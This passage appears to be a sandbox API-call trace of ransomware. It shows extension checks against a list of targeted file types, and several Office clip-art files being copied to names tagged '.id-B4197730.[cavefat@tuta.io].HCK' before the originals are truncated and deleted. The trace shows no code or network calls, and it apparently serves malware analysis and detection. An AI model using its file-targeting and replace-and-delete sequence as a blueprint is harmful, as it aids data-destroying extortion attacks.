lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString=".7z") returned 3 [0167.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString=".dbf") returned 4 [0167.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString=".1cd") returned 4 [0167.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString=".jpg") returned 4 [0167.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString=".doc") returned 4 [0167.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString=".docx") returned 5 [0167.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.811] lstrlenW (lpString=".pdf") returned 4 [0167.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString=".xls") returned 4 [0167.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.811] lstrlenW (lpString=".xlsx") returned 5 [0167.811] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.812] lstrlenW (lpString=".ppt") returned 4 [0167.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.812] lstrlenW (lpString=".zip") returned 4 [0167.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.812] lstrlenW (lpString=".rar") returned 4 [0167.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.812] lstrlenW (lpString=".bz2") returned 4 [0167.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.812] lstrlenW (lpString=".7z") returned 3 [0167.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.812] lstrlenW (lpString=".dbf") returned 4 [0167.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.812] lstrlenW (lpString=".1cd") returned 4 [0167.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.812] lstrlenW (lpString=".jpg") returned 4 [0167.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.812] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.812] lstrlenW (lpString="J0107358.WMF") returned 12 [0167.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.817] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7964) returned 1 [0167.817] CloseHandle (hObject=0x354) returned 1 [0167.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0167.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.829] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.830] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.835] GetLastError () returned 0x0 [0167.835] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0167.838] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0167.839] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.839] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.839] SetEndOfFile (hFile=0x354) returned 1 [0167.843] CloseHandle (hObject=0x354) returned 1 [0167.845] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.845] SetEndOfFile (hFile=0x378) returned 1 [0167.846] CloseHandle (hObject=0x378) returned 1 [0167.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0167.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.850] lstrlenW (lpString=".doc") returned 4 [0167.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.850] lstrlenW (lpString=".docx") returned 5 [0167.850] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.850] lstrlenW (lpString=".pdf") returned 4 [0167.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.850] lstrlenW (lpString=".xls") returned 4 [0167.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.850] lstrlenW (lpString=".xlsx") returned 5 [0167.850] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.850] lstrlenW (lpString=".ppt") returned 4 [0167.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".zip") returned 4 [0167.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.851] lstrlenW (lpString=".rar") returned 4 [0167.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString=".bz2") returned 4 [0167.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString=".7z") returned 3 [0167.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".dbf") returned 4 [0167.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".1cd") returned 4 [0167.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".jpg") returned 4 [0167.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".doc") returned 4 [0167.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString=".docx") returned 5 [0167.851] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.851] lstrlenW (lpString=".pdf") returned 4 [0167.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString=".xls") returned 4 [0167.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.851] lstrlenW (lpString=".xlsx") returned 5 [0167.851] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.851] lstrlenW (lpString=".ppt") returned 4 [0167.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".zip") returned 4 [0167.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.851] lstrlenW (lpString=".rar") returned 4 [0167.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString=".bz2") returned 4 [0167.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString=".7z") returned 3 [0167.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".dbf") returned 4 [0167.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".1cd") returned 4 [0167.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0167.851] lstrlenW (lpString=".jpg") returned 4 [0167.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.852] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.852] lstrlenW (lpString="J0107450.WMF") returned 12 [0167.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0167.857] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4920) returned 1 [0167.857] CloseHandle (hObject=0x368) returned 1 [0167.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220 [0167.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.863] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.863] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.874] GetLastError () returned 0x0 [0167.874] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1338, lpOverlapped=0x0) returned 1 [0167.876] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1340, lpOverlapped=0x0) returned 1 [0167.877] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.877] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.877] SetEndOfFile (hFile=0x378) returned 1 [0167.883] CloseHandle (hObject=0x378) returned 1 [0167.883] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.883] SetEndOfFile (hFile=0x39c) returned 1 [0167.888] CloseHandle (hObject=0x39c) returned 1 [0167.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0167.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.890] lstrlenW (lpString=".doc") returned 4 [0167.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.890] lstrlenW (lpString=".docx") returned 5 [0167.890] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.890] lstrlenW (lpString=".pdf") returned 4 [0167.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.890] lstrlenW (lpString=".xls") returned 4 [0167.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.890] lstrlenW (lpString=".xlsx") returned 5 [0167.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.890] lstrlenW (lpString=".ppt") returned 4 [0167.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.890] lstrlenW (lpString=".zip") returned 4 [0167.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.890] lstrlenW (lpString=".rar") returned 4 [0167.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.890] lstrlenW (lpString=".bz2") returned 4 [0167.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.890] lstrlenW (lpString=".7z") returned 3 [0167.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".dbf") returned 4 [0167.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".1cd") returned 4 [0167.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".jpg") returned 4 [0167.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".doc") returned 4 [0167.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString=".docx") returned 5 [0167.891] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.891] lstrlenW (lpString=".pdf") returned 4 [0167.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString=".xls") returned 4 [0167.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.891] lstrlenW (lpString=".xlsx") returned 5 [0167.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.891] lstrlenW (lpString=".ppt") returned 4 [0167.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".zip") returned 4 [0167.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.891] lstrlenW (lpString=".rar") returned 4 [0167.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString=".bz2") returned 4 [0167.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString=".7z") returned 3 [0167.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".dbf") returned 4 [0167.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".1cd") returned 4 [0167.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0167.891] lstrlenW (lpString=".jpg") returned 4 [0167.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.891] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.891] lstrlenW (lpString="J0107468.WMF") returned 12 [0167.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.894] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9612) returned 1 [0167.895] CloseHandle (hObject=0x308) returned 1 [0167.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220 [0167.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.903] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.903] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.910] GetLastError () returned 0x0 [0167.910] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x258c, lpOverlapped=0x0) returned 1 [0167.911] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2590, lpOverlapped=0x0) returned 1 [0167.912] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.912] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.912] SetEndOfFile (hFile=0x308) returned 1 [0167.913] CloseHandle (hObject=0x308) returned 1 [0167.915] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.915] SetEndOfFile (hFile=0x39c) returned 1 [0167.919] CloseHandle (hObject=0x39c) returned 1 [0167.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString=".doc") returned 4 [0167.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString=".docx") returned 5 [0167.922] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.922] lstrlenW (lpString=".pdf") returned 4 [0167.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString=".xls") returned 4 [0167.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.922] lstrlenW (lpString=".xlsx") returned 5 [0167.922] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.922] lstrlenW (lpString=".ppt") returned 4 [0167.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString=".zip") returned 4 [0167.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.922] lstrlenW (lpString=".rar") returned 4 [0167.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString=".bz2") returned 4 [0167.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString=".7z") returned 3 [0167.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString=".dbf") returned 4 [0167.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString=".1cd") returned 4 [0167.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString="C:\\Program 